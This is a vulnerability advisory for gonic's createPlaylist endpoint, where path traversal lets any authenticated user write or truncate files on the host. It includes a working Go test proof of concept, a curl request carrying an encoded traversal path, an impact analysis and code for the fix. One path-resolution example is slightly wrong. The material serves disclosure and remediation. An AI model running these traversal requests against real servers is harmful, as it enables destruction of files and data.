--- id: CVE-2026-49340 title: >- gonic has arbitrary file write in createPlaylist: any authenticated user can write playlist M3U content to attacker-controlled path on the host summary: >- gonic has arbitrary file write in createPlaylist: any authenticated user can write playlist M3U content to attacker-controlled path on the host severity: high cvss: 8.1 cwe: - CWE-22 - CWE-697 - CWE-732 vendor: gonic product: go.senan.xyz/gonic ecosystem: go affected: - go.senan.xyz/gonic <= 0.20.1 patched: - go.senan.xyz/gonic 0.21.0 published: '2026-06-26' updated: '2026-06-26' source: GHSA sourceUrl: 'https://github.com/advisories/GHSA-4gxv-p5g5-j7w7' references: - url: 'https://github.com/sentriz/gonic/security/advisories/GHSA-4gxv-p5g5-j7w7' - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-49340' - url: 'https://github.com/advisories/GHSA-4gxv-p5g5-j7w7' tags: - ghsa - go epss: 0.00428 epssPercentile: 0.34285 ingestedAt: '2026-06-29T13:24:35.066Z' --- ## Overview ## Summary A logic error in `ServeCreateOrUpdatePlaylist` allows **any authenticated Subsonic user** (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with `0o777` permissions. The bug is independent of the playlist ownership IDOR fixed in [`6dd71e6`](https://github.com/sentriz/gonic/commit/6dd71e6): it is an **unreachable guard clause** combined with **no path containment in `Store.Write`**. ## Root cause — unreachable guard clause `server/ctrlsubsonic/handlers_playlist.go:74-90`: ```go func (c *Controller) ServeCreateOrUpdatePlaylist(r *http.Request) *spec.Response { user := r.Context().Value(CtxUser).(*db.User) params := r.Context().Value(CtxParams).(params.Params) playlistID, _ := params.GetFirstID("id", "playlistId") playlistPath := playlistIDDecode(playlistID) // attacker-controlled, base64-decoded var playlist playlistp.Playlist if playlistPath != "" { if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil { // ^^^^^^^^^^^^^^^^^^^^^^^^^ // this condition is UNREACHABLE playlist = *pl } } if playlist.UserID != 0 && playlist.UserID != user.ID { return spec.NewError(50, "you aren't allowed update that user's playlist") } ... ``` `playlist.Store.Read` (`playlist/playlist.go:88-144`) returns either `(*Playlist, nil)` on success or `(nil, err)` on any failure path. **There is no return path of `(non-nil, non-nil-err)`.** So the inner branch `err != nil && pl != nil` is **always false**, the `playlist = *pl` assignment never executes, and `playlist` stays at its zero value with `UserID = 0`. The subsequent guard `playlist.UserID != 0 && playlist.UserID != user.ID` simplifies to `false && (anything)` and **always passes**, regardless of who owns the target path. ## Root cause — no path containment in `Store.Write` `playlist/playlist.go:146-160`: ```go func (s *Store) Write(relPath string, playlist *Playlist) error { defer lock(&s.mu)() if err := sanityCheck(s.basePath); err != nil { return err } absPath := filepath.Join(s.basePath, relPath) if err := os.MkdirAll(filepath.Dir(absPath), 0o777); err != nil { // world-writable! return fmt.Errorf("make m3u base dir: %w", err) } file, err := os.OpenFile(absPath, os.O_RDWR|os.O_CREATE, 0o666) // create-or-open ... if err := file.Truncate(0); err != nil { // wipe existing ... } ``` `filepath.Join("/var/lib/gonic/playlists", "../../etc/cron.daily/anything")` resolves to `/var/lib/gonic/etc/cron.daily/anything` — Go's `filepath.Join` does NOT prevent `..` traversal. Combined with the missing guard above, **any authenticated user** controls the destination path. ## Live PoC — passing Go test Drop this into `server/ctrlsubsonic/handlers_playlist_write_traversal_test.go` and run `go test -run TestCreatePlaylistArbitraryWrite_RawPath ./server/ctrlsubsonic/ -v`: ```go package ctrlsubsonic import ( "net/url" "os" "path/filepath" "testing" "github.com/stretchr/testify/require" ) func TestCreatePlaylistArbitraryWrite_RawPath(t *testing.T) { f := newFixture(t) // playlistStore.basePath = /playlists/. A relPath of "../injected.m3u" // resolves under the parent dir — escaping the playlists/ subtree. traversalRel := filepath.Join("..", "injected.m3u") traversalID := playlistIDEncode(traversalRel).String() // f.alt is the NON-ADMIN user (ID=2). resp := f.query(t, f.contr.ServeCreateOrUpdatePlaylist, f.alt, url.Values{ "id": {traversalID}, "name": {"injected-by-low-priv-user"}, }) t.Logf("resp: %+v", string(resp)) tmpDir := filepath.Dir(f.contr.musicPaths[0].Path) target := filepath.Join(tmpDir, "injected.m3u") stat, err := os.Stat(target) require.NoError(t, err, "VULNERABLE if the file exists outside playlists/") require.False(t, stat.IsDir()) contents, err := os.ReadFile(target) require.NoError(t, err) t.Logf("VULNERABLE — file written at %s\n%s", target, string(contents)) } ``` Test output against current `master` HEAD `6dd71e6`: ``` === RUN TestCreatePlaylistArbitraryWrite_RawPath resp: {"subsonic-response":{"status":"ok","version":"1.15.0","type":"gonic","openSubsonic":true, "playlist":{"id":"pl-Li4vaW5qZWN0ZWQubTN1","name":"injected-by-low-priv-user",..., "owner":"alt","songCount":0,...}}} VULNERABLE — file written at /var/folders/.../TestCreatePlaylistArbitraryWrite_RawPath.../001/injected.m3u #GONIC-NAME:"injected-by-low-priv-user" #GONIC-COMMENT:"" #GONIC-IS-PUBLIC:"false" --- PASS: TestCreatePlaylistArbitraryWrite_RawPath (0.05s) ``` The file was created at `/injected.m3u` while the playlist store's basePath is `/playlists/` — write succeeded outside the intended directory. ## HTTP-level reproduction ```bash # Target a writable path on the gonic host. # Encode "../../../var/log/anything.log" (note: gonic must be able to write there) RAW='../../../var/log/anything.log' ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '/+' '_-')" curl -s "http://gonic-host/rest/createPlaylist.view?u=lowpriv&p=pass&c=poc&v=1.16.1&f=json&id=$ID&name=injected" \ | python3 -m json.tool # Response: {"subsonic-response":{"status":"ok",...}} # Side effect: file written at /var/log/anything.log with M3U structured content, # intermediate directories created with 0o777 permissions. ``` ## Impact - **Integrity**: Any authenticated user can overwrite (truncate-and-rewrite) any file the gonic process has write access to: gonic's own SQLite database, configuration files, log files, cache, audit trails, M3U files of other users. The write is M3U-structured (`#GONIC-NAME: / #GONIC-COMMENT: / #GONIC-IS-PUBLIC:` attributes, plus song paths), but the `name` value is attacker-controlled and structurally placed (no newline injection; `strconv.Quote` escapes specials). - **Availability**: Overwriting `gonic.db` (or wherever the SQLite file lives) destroys all user state — accounts, ratings, playlists, etc. The write is unrecoverable. - **Filesystem state**: `MkdirAll(dir, 0o777)` creates intermediate directories as world-writable, regardless of the umask, which is itself a hardening issue alongside the traversal. - **Trust boundary**: gonic explicitly supports a non-admin user role (`ServeCreateUser`, the `IsAdmin` flag). This bug grants every non-admin user a destructive filesystem-write primitive into the host process's working set. - **Content control is structural** (cannot inject newlines into the M3U attribute lines), so direct shell/web-shell injection requires a target file format that tolerates the `#GONIC-NAME:"..."` header. Pure-destructive primitives (overwrite/truncate, fill-by-mkdir) work universally. ## CVSS `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` = **8.1 High** ## Suggested fix Two changes, either of which mitigates this: **1. Fix the unreachable guard at `handlers_playlist.go:83`**: ```go // Currently (BROKEN): if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil { playlist = *pl } // Fixed: if pl, err := c.playlistStore.Read(playlistPath); err == nil && pl != nil { playlist = *pl } ``` This restores the ownership check for the case where the path resolves to an existing playlist. It does NOT fix the case where `playlistPath` points to a non-existent file (the Read fails, `playlist` stays zero-valued, ownership check still bypassed). So the second fix is also needed. **2. Add path containment in `playlist/playlist.go::Store.Write`** (same helper proposed in the companion advisory): ```go absPath := filepath.Join(s.basePath, relPath) rel, err := filepath.Rel(s.basePath, absPath) if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) { return fmt.Errorf("path %q escapes playlist directory", relPath) } ``` Apply the same guard in `Read()` and `Delete()` to close related primitives. Consider tightening `MkdirAll` from `0o777` to `0o755`. ## Credits Reported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)). ## Affected packages - `go.senan.xyz/gonic <= 0.20.1` ## Remediation Upgrade to a patched release: - `go.senan.xyz/gonic 0.21.0`